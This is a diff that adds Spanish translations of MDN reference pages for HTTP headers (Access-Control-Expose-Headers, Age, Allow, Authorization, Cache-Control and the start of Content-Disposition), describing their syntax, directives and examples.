+<p class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si deseas contribuir a los datos, por favor mira <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y mándanos un pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h2 id="Veáse_también">Veáse también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Origin")}}</li>
+ <li>{{HTTPHeader("Vary")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></li>
+</ul>
diff --git a/files/es/web/http/headers/access-control-expose-headers/index.html b/files/es/web/http/headers/access-control-expose-headers/index.html
new file mode 100644
index 0000000000..22ecdf4f75
--- /dev/null
+++ b/files/es/web/http/headers/access-control-expose-headers/index.html
@@ -0,0 +1,115 @@
+---
+title: Access-Control-Expose-Headers
+slug: Web/HTTP/Headers/Access-Control-Expose-Headers
+tags:
+  - CORS
+  - Cabecera
+  - HTTP
+translation_of: Web/HTTP/Headers/Access-Control-Expose-Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera de respuesta <strong><code>Access-Control-Expose-Headers</code></strong> indica qué cabeceras pueden ser expuestas como parte de la respuesta listando sus nombres.</p>
+
+<p>Por defecto, solo se exponen las 7 cabeceras HTTP seguras ({{Glossary("CORS-safelisted response header", "CORS-safelisted response headers")}}, {{Glossary("Simple response header", "simple response headers")}}):</p>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Content-Language")}}</li>
+ <li>{{HTTPHeader("Content-Length")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+ <li>{{HTTPHeader("Last-Modified")}}</li>
+ <li>{{HTTPHeader("Pragma")}}</li>
+</ul>
+
+<p>Si quieres que los clientes puedan acceder a otra cabeceras, tienes que listarlas usando la cabecera <code>Access-Control-Expose-Headers</code></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre>Access-Control-Expose-Headers: &lt;header-name&gt;, &lt;header-name&gt;, ...
+Access-Control-Expose-Headers: *</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>Una lista de cabeceras expuestas que consiste en cero o mas <a href="/en-US/docs/Web/HTTP/Headers">nombres de cabeceras</a> diferentes a {{Glossary("Simple response header", "simple response headers")}} que el recurso puede usar y pueden ser expuestas.</dd>
+ <dt><code>*</code> (<em>wildcard</em>, comodín)</dt>
+ <dd>El valor "<code>*</code>" solo funciona como comodín para peticiones sin credenciales (peticiones sin <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> o autenticación HTTP). Para peticiones con credenciales, se trata como el literal "<code>*</code>", sin semánticas especiales.<br>
+ La cabecera {{HTTPHeader("Authorization")}} siempre se añadirá de manera explícita.<br>
+ <em>Vea cómo se añade en los ejemplos de más abajo</em>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Para exponer una cabecera no simple, puedes especificar:</p>
+
+<pre>Access-Control-Expose-Headers: Content-Length</pre>
+
+<p>Para exponer cabeceras personalizadas, como <code>X-Kuma-Revision</code>, puedes especificar varias cabeceras separadas por coma:</p>
+
+<pre>Access-Control-Expose-Headers: Content-Length, X-Kuma-Revision</pre>
+
+<p>En peticiones sin credenciales puedes utilizar el valor comodín:</p>
+
+<pre>Access-Control-Expose-Headers: *</pre>
+
+<p>Si necesitas acceder (exponer) la cabecera {{HTTPHeader("Authorization")}}, hay que añadirla de manera explícita:</p>
+
+<pre>Access-Control-Expose-Headers: *, Authorization</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-expose-headers', 'Access-Control-Expose-Headers')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Expose-Headers")}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>El valor asterisco (*) indica que no es implementado en navegadores:
+  <ul>
+   <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
+   <li>Firefox: {{bug(1309358)}}</li>
+   <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/age/index.html b/files/es/web/http/headers/age/index.html
new file mode 100644
index 0000000000..58498e3dca
--- /dev/null
+++ b/files/es/web/http/headers/age/index.html
@@ -0,0 +1,75 @@
+---
+title: Age
+slug: Web/HTTP/Headers/Age
+tags:
+  - Encabezado HTTP Age
+translation_of: Web/HTTP/Headers/Age
+---
+<div> </div>
+
+<div>El encabezado <code><strong>Age</strong></code> contiene el tiempo medido en segundos que el objeto ha estado en la memoria caché de servidor proxy.</div>
+
+<div> </div>
+
+<div>El encabezado <code><strong>Age</strong></code> suele estar seteado en 0 (cero). Si <code><strong>Age : 0</strong></code> probablemente en ese instante se acaba de obtener la respuesta del servidor de origen, de lo contrario, por lo general esto se calcula como la diferencia entre la fecha actual del proxy y la fecha dada por el parámetro en cabecera "Date" ({{HTTPHeader("Date")}} ) incluído en la respuesta HTTP.</div>
+
+<div> </div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de Cabecera</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Nombre de Cabecera Prohibido {{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Age: &lt;segundos&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;segundos&gt;</dt>
+ <dd>
+ <p>Número entero no negativo, que representa el tiempo en segundos que el objeto ha almacenado en la caché del proxy.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Age: 24</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Age", "5.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Age")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/allow/index.html b/files/es/web/http/headers/allow/index.html
new file mode 100644
index 0000000000..d5a0e723ea
--- /dev/null
+++ b/files/es/web/http/headers/allow/index.html
@@ -0,0 +1,61 @@
+---
+title: Allow
+slug: Web/HTTP/Headers/Allow
+translation_of: Web/HTTP/Headers/Allow
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera <code><strong>Allow</strong></code> enumera el conjunto de métodos admitidos por un recurso.</p>
+
+<p>Esta cabecera debe ser enviada si el servidor responde con un estado {{HTTPStatus("405")}} <code>Method Not Allowed</code> para indicar cual metodo de peticion puede ser usado. Una cabecera <code>Allow</code> vacia indica que el recurso no permite ningún método de solicitud, que podría ocurrir temporalmente para un recurso determinado, por ejemplo.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="syntaxbox">Allow: &lt;http-methods&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;http-methods&gt;</dt>
+ <dd>La lista de métodos de solicitud HTTP permitidos.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre>Allow: GET, POST, HEAD</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Allow", "7.4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPStatus("405")}}</li>
+ <li>{{HTTPHeader("Server")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/authorization/index.html b/files/es/web/http/headers/authorization/index.html
new file mode 100644
index 0000000000..79545c3a28
--- /dev/null
+++ b/files/es/web/http/headers/authorization/index.html
@@ -0,0 +1,86 @@
+---
+title: Authorization
+slug: Web/HTTP/Headers/Authorization
+translation_of: Web/HTTP/Headers/Authorization
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera de petición <strong><code>Authorization</code></strong> contiene las credenciales para autenticar a un usuario en un servidor, usualmente luego de que el servidor haya respondido con un estado {{HTTPStatus("401")}} <code>Unauthorized</code> y la cabecera {{HTTPHeader("WWW-Authenticate")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Cabecera de respuesta")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nombre de encabezado prohibido")}}</th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Authorization: &lt;tipo&gt; &lt;credenciales&gt;</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;tipo&gt;</dt>
+ <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Tipo de Autenticación</a>. Un tipo común es <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. Otros tipos:
+ <ul>
+  <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">IANA registry of Authentication schemes</a></li>
+  <li><a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Authentification for AWS servers (<code>AWS4-HMAC-SHA256</code>)</a></li>
+ </ul>
+ </dd>
+ <dt>&lt;credenciales&gt;</dt>
+ <dd>Si se utiliza el esquema de la autenticación "Basic", las credenciales son construidas de esta forma:
+ <ul>
+  <li>El usuario y la contraseña se combinan con dos puntos (<code>aladdin:opensesame</code>).</li>
+  <li>El string resultante está basado en la codificación <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Nota</strong>: ¡La codificación Base64 no es equivalente a encriptación o hashing! Este método es igual de seguro a enviar las credenciales en un archivo plano de texto (la codificación base64 es reversible). Lo recomendable es utilizar HTTPS en conjunto a la autenticación básica.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
+</pre>
+
+<p>Ver también<a href="/en-US/docs/Web/HTTP/Authentication"> HTTP authentication</a> para ejemplos sobre cómo configurar servidores Apache o nginx para proteger su sitio con contraseña usando la autenticación básica HTTP.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7235", "Authorization", "4.2")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7617")}}</td>
+   <td>The 'Basic' HTTP Authentication Scheme</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/cache-control/index.html b/files/es/web/http/headers/cache-control/index.html
new file mode 100644
index 0000000000..64d33e766e
--- /dev/null
+++ b/files/es/web/http/headers/cache-control/index.html
@@ -0,0 +1,241 @@
+---
+title: Cache-Control
+slug: Web/HTTP/Headers/Cache-Control
+tags:
+  - Cache-Control
+  - Encabezado general
+  - HTTP
+  - Referencia
+  - encabezado HTTP
+translation_of: Web/HTTP/Headers/Cache-Control
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">El encabezado HTTP <strong><code>Cache-Control</code></strong> especifica <em>directivas</em> (instrucciones) para <a href="/en-US/docs/Web/HTTP/Caching">almacenar temporalmente (caching)</a> tanto en peticiones como en respuestas. Una directiva dada en una petición no significa que la misma directiva estar en la respuesta.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("General header", "Encabezado general")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "nombre prohibido del encabezado")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("CORS-safelisted response header", "Respuesta del encabezado CORS-safelisted")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Las directivas para almacenamiento temporal siguen las siguientes reglas para ser válidas:</p>
+
+<ul>
+ <li>Insensible a mayúsculas, pero las minúsculas son recomendadas.</li>
+ <li>Directivas múltiples son separadas por comas.</li>
+ <li>Algunas directivas tienen un argumento opcional, lo cual puede ser tanto un <em>token</em> o una <em>cadena-citada.</em> (Ver la especificación para definiciones)</li>
+</ul>
+
+<h3 id="Directivas_de_solicitud_de_cache">Directivas de solicitud de cache</h3>
+
+<p>Las directivas estándar <code>Cache-Control</code> que pueden ser usadas por el cliente en una solicitud HTTP.</p>
+
+<pre class="syntaxbox notranslate">Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: max-stale[=&lt;seconds&gt;]
+Cache-Control: min-fresh=&lt;seconds&gt;
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: only-if-cached
+</pre>
+
+<h3 id="Directivas_de_solicitud_de_cache_2">Directivas de solicitud de cache</h3>
+
+<p>Las diretivas estándar <code>Cache-Control</code> que pueden ser usadas por el servidor en una respuesta HTTP.</p>
+
+<pre class="syntaxbox notranslate">Cache-Control: must-revalidate
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: public
+Cache-Control: private
+Cache-Control: proxy-revalidate
+Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: s-maxage=&lt;seconds&gt;
+</pre>
+
+<h3 id="Directivas_de_extensión_de_Cache-Control">Directivas de extensión de Cache-Control</h3>
+
+<p>Las directivas de extensión <code>Cache-Control</code> no forman parte de la base del documento estandar para cacheo HTTP. Revisé la <a href="#Browser_compatibility">tabla de compatibilidad</a> para ver su soporte, los agentes de usuario que no reconocen estas directivas las ignorarán.</p>
+
+<pre class="syntaxbox notranslate">Cache-Control: immutable
+Cache-Control: stale-while-revalidate=&lt;seconds&gt;
+Cache-Control: stale-if-error=&lt;seconds&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<h3 id="Cacheabilidad">Cacheabilidad</h3>
+
+<ul>
+ <li>Una respuesta es normalmente cacheado por el navegador si
+  <ul>
+   <li>tiene un código de estado <code><a href="/en-US/docs/Web/HTTP/Status/301">301</a></code>, <code><a href="/en-US/docs/Web/HTTP/Status/302">302</a></code>, <code><a href="/en-US/docs/Web/HTTP/Status/307">307</a></code>, <code><a href="/en-US/docs/Web/HTTP/Status/308">308</a></code>, o <code><a href="/en-US/docs/Web/HTTP/Status/410">410</a></code> <strong>y</strong></li>
+   <li><code>Cache-Control</code> no tiene <code>no-store</code>, o <em>si proxy</em>, no tiene <code>private</code> <strong>y</strong></li>
+   <li><code><a href="/en-US/docs/Web/HTTP/Headers/Authorization">Authorization</a></code> no esta definido</li>
+   <li>Cualquiera
+    <ul>
+     <li>tiene un código de estado <code><a href="/en-US/docs/Web/HTTP/Status/301">301</a></code>, <code><a href="/en-US/docs/Web/HTTP/Status/302">302</a></code>, <code><a href="/en-US/docs/Web/HTTP/Status/307">307</a></code>, <code><a href="/en-US/docs/Web/HTTP/Status/308">308</a></code>, o <code><a href="/en-US/docs/Web/HTTP/Status/410">410</a></code> <strong>o</strong></li>
+     <li>tiene <code>public</code>, <code>max-age</code> o <code>s-maxage</code> en <code>Cache-Control</code> <strong>o</strong></li>
+     <li>tiene definido <code><a href="/en-US/docs/Web/HTTP/Headers/Expires">Expires</a></code></li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<dl>
+ <dt><code>public</code></dt>
+ <dd>La respuesta puede estar almacenada en <em>cualquier</em> memoria cache, incluso si la petición normalmente no es cacheable.</dd>
+ <dt><code>private</code></dt>
+ <dd>La respuesta puede estar almacenada sólo por el cache de un <em>navegador</em>, incluso si la petición es normalmente no cacheable. <strong>Si no desea almacenar la respuesta en algún cache, use en su lugar <code>no-store</code>.</strong> <em>Esta directiva no es efectiva previniendo el cacheo al almacenar respuestas.</em></dd>
+ <dt><code>no-cache</code></dt>
+ <dd>La respuesta puede estar almacenada por <em>cualquier</em> cache, incluso si la petición es normalmente no cacheable. Sin embargo, la respuesta almacenada DEBE <em>siempre</em> pasar por una validación con el servidor de origen antes de utilizarse, por lo tanto, no se puede usar <code>no-cache</code> en conjunción con <code>immutable</code>. <strong>Si no desea almacenar la respuesta en algún cache, se debe utilizar <code>no-store</code> en su lugar.</strong> <em>Esta directiva no es efectiva para prevenir el cacheo al guardar la respuesta.</em></dd>
+ <dt><code>no-store</code></dt>
+ <dd>La respuesta puede <strong>no</strong> ser almacenada en <em>cualquier</em> cache. Aunque otras directivas pueden definirla, ésta es la <em>única directiva que se necesita para prevenir el cacheo de respuestas </em>en navegadores modernos. <code>max-age=0</code> <strong>es implícito</strong>. <strong>Configurando</strong> <code>must-revalidate</code> <strong>no tiene sentido</strong> porque en orden para revalidar se necesita que la respuesta este almacenada en la cache, lo cual <code>no-store</code> previene.</dd>
+ <dd><strong>No copie y pege el método específico para Intenet Explorer</strong> <code>pre-check=0,post-check=0</code> si lo ve en línea porque es completamente ignorado, confirmado por <a href="https://twitter.com/ericlaw/status/685201170260819968">el tweet de un desarrollador de Edge</a>.</dd>
+ <dt>Deshabilitando Cache vía Cache-Control</dt>
+ <dd>
+ <pre class="example-good notranslate">no-store</pre>
+ </dd>
+ <dd>
+ <pre class="example-bad notranslate">no-cache,no-store,must-revalidate,pre-check=0,post-check=0</pre>
+ </dd>
+</dl>
+
+<h3 id="Expiración">Expiración</h3>
+
+<dl>
+ <dt><code>max-age=&lt;seconds&gt;</code></dt>
+ <dd>La cantidad máxima de tiempo un recurso es considerado reciente. A diferencia de <code>Expires</code>, esta directiva es relativa a el tiempo de la petición.</dd>
+ <dt><code>s-maxage=&lt;seconds&gt;</code></dt>
+ <dd>Anula el encabezado <code>max-age</code> o el <code>Expires</code>, pero solo para caches compartidos (e.g., proxies). Ignorado por caches privados.</dd>
+ <dt><code>max-stale[=&lt;seconds&gt;]</code></dt>
+ <dd>Indica que el cliente aceptará una respuesta tardía. Un valor opciona en segundo indica el límite superior de estancamiento que el cliente aceptará.</dd>
+ <dt><code>min-fresh=&lt;seconds&gt;</code></dt>
+ <dd>Indica que el cliente quiere una respuesta que será reciente por <em>al menos</em> el número específico de segundos.</dd>
+ <dt><code>stale-while-revalidate=&lt;seconds&gt;</code> {{Experimental_Inline}}</dt>
+ <dd>Indica que el cliente aceptará una respuesta tardía, mientras asíncronamente revisa por el fondo por una reciente. El valor de los <em>segundos</em> indica que tan largo es el cliente aceptará una respuesta estancada. Ver "<a href="https://web.dev/stale-while-revalidate">Manteniendo las cosas frescas con <code>stale-while-revalidate</code></a>" para más información.</dd>
+ <dt><code>stale-if-error=&lt;seconds&gt;</code> {{Experimental_Inline}}</dt>
+ <dd>Indica que el cliente aceptará una respuesta tardía si la revisión por una resúesta reciente falla. El valor de los<em> segundos</em> indica cuanto tiempo el cliente aceptará la respuesta tardía después de una expiración inicial.</dd>
+</dl>
+
+<h3 id="Revalidación_y_recarga">Revalidación y recarga</h3>
+
+<dl>
+ <dt><code>must-revalidate</code></dt>
+ <dd>Indica que una vez un recurso se vuelve obsoleto, el cache no debe usar su copia obsoleta sin correctamente <a href="/en-US/docs/Web/HTTP/Caching#Cache_validation">validar</a> en el servidor de origen.</dd>
+ <dt><code>proxy-revalidate</code></dt>
+ <dd>Similar a <code>must-revalidate</code>, pero solo para caches compartidos (es decir, proxies). Ignorado por caches privados.</dd>
+ <dt><code>immutable</code></dt>
+ <dd>Indica que la respuesta del cuerpo <strong>no debería cambiar</strong> con el tiempo. El recurso, si<em> no ha expirado</em>, no ha cambiado en el servidor y por lo tanto el cliente no debería enviar una revalidación condicional por ello (es decir, <code>If-None-Match</code> o <code>If-Modified-Since</code>) para revisar por actualizaciones, incluso cuando el usuario explícitamente recarga la página. Los clientes que no son consientes de esta extensión las ignoran deacuerdo a la especificación HTTP. En Firefox, <code>immutable</code> solo es respetada en transacciones <code>https://</code>. Para más información, ver también este <a href="https://bitsup.blogspot.de/2016/05/cache-control-immutable.html">árticulo de un blog</a>.</dd>
+</dl>
+
+<h3 id="Otros">Otros</h3>
+
+<dl>
+ <dt><code>no-transform</code></dt>
+ <dd>No hay transformaciones o conversiones deberían hacerse al recurso. Los encabezados Content-Encoding, Content-Range, Content-Type no deben ser modificados por un proxy. Un proxy no transparente o una característica de un navegador como podría ser <a href="https://support.google.com/webmasters/answer/6211428?hl=en">Google's Light Mode</a>, por ejemplo, convierte entre formatos de imagenes con el motivo de guardar espacio del cache o para reducir la cantidad de tráfico en un enlace lento. La directiva <code>no-transform</code> no permite esto.</dd>
+ <dt><code>only-if-cached</code></dt>
+ <dd>Definida por el <em>cliente </em>para indicar "no usar la red" para la respuesta. la cache debería ya sea responder usando una respuesta almacenada, o responder con un código de estado <code><a href="/en-US/docs/Web/HTTP/Status/504">504</a></code>. Encabezados condicionales como <code>If-None-Match</code> no deberían ser definidos. No hay efecto si <code>only-if-cached</code> es definido por un servidor como parte de una respuesta.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Prevención_de_almacenamiento_en_caché">Prevención de almacenamiento en caché</h3>
+
+<p>Para desactivar el almacenamiento en caché, puede enviar el siguiente encabezado de respuesta. Además, ver también los encabezados Expires y Pragma.</p>
+
+<dl>
+ <dd>
+ <pre class="example-good brush: http no-line-numbers notranslate">Cache-Control: no-store
+</pre>
+ </dd>
+ <dd>
+ <pre class="example-bad brush: http no-line-numbers notranslate">Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0
+</pre>
+ </dd>
+</dl>
+
+<h3 id="Almacenando_temporalmente_recursos_estáticos">Almacenando temporalmente recursos estáticos</h3>
+
+<p>Para los archivos de la aplicación que no cambian, generalmente se puede agregar almacenamiento en caché agresivo enviando el encabezado de respuesta a continuación. Esto incluye, por ejemplo, archivos estáticos servidos por la aplicación, como imágenes, archivos CSS y archivos JavaScript. Además, vea también, el encabezado <code>Expires</code>.</p>
+
+<dl>
+ <dd>
+ <pre class="brush: http no-line-numbers notranslate">Cache-Control: public, max-age=604800, immutable
+</pre>
+ </dd>
+</dl>
+
+<h3 id="Requiriendo_revalidación">Requiriendo revalidación</h3>
+
+<p>Especificando <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">no-cache</span></font> o <code>max-age=0</code> se indica a los clientes que se puede almacenar temporalmente un recurso y debe revalidarse en cada ocasión antes de utilizarse. Esto significa que las peticiones HTTP ocurren cada vez, pero se pueden saltar la descarga del cuerpo HTTP si el contenido es válido.</p>
+
+<dl>
+ <dd>
+ <pre class="brush: http no-line-numbers notranslate">Cache-Control: no-cache
+Cache-Control: no-cache, max-age=0
+Cache-Control: no-cache, max-age=0, stale-while-revalidate=300
+</pre>
+ </dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC(8246, "HTTP Immutable Responses")}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{RFC(7234, "Hypertext Transfer Protocol (HTTP/1.1): Caching")}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{RFC(5861, "HTTP Cache-Control Extensions for Stale Content")}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción.</p>
+
+<p>{{Compat("http.headers.Cache-Control")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li>
+ <li>Guía: <em><a href="https://csswizardry.com/2019/03/cache-control-for-civilians"><code>Cache-Control</code> para civiles</a></em></li>
+ <li>{{HTTPHeader("Age")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+ <li>{{HTTPHeader("Pragma")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/content-disposition/index.html b/files/es/web/http/headers/content-disposition/index.html
new file mode 100644
index 0000000000..62c66192e7
--- /dev/null
+++ b/files/es/web/http/headers/content-disposition/index.html
@@ -0,0 +1,144 @@
+---
+title: Content-Disposition
+slug: Web/HTTP/Headers/Content-Disposition
+translation_of: Web/HTTP/Headers/Content-Disposition
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>En una respuesta HTTP regular, el encabezado <code><strong>Content-Disposition</strong></code> indica si el contenido se espera que se muestre en línea en el navegador, esto es, como una o como parte de una página web, o como un archivo adjunto, que se puede descargar y guardar localmente.</div>
+
+<div> </div>
+
+<div>En un cuerpo <code>multipart/form-data</code>, el encabezado general <strong><code>Content-Disposition</code> </strong>puede ser utilizado en la subparte de un cuerpo multipartes para dar información acerca del campo al que aplica. La subparte es delimitada por el <em>boundary</em> (límite) definido en el encabezado {{HTTPHeader("Content-Type")}}. Cuando se utiliza en el propio cuerpo, <code>Content-Disposition</code> no tiene efecto.</div>
+
+<div> </div>
+
+<div>El encabezado <code>Content-Disposition </code>está definido en el contexto de mensajes MIME para correos electrónicos, pero sólo un subconjuto de los parámetros posibles aplican a formularios HTTP y peticiones {{HTTPMethod("POST")}}. Sólo el valor <code>form-data</code>, como las directivas opcionales <code>name</code> and <code>filename</code>, pueden ser utilizadas en el contexto HTTP.</div>
+
+<p> </p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header")}} (para el cuerpo principal)<br>
+    {{Glossary("General header")}} (para una subparte de un cuerpo multipartes)</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Como_encabezado_de_respuesta_para_cuerpo_principal">Como encabezado de respuesta para cuerpo principal</h3>
+
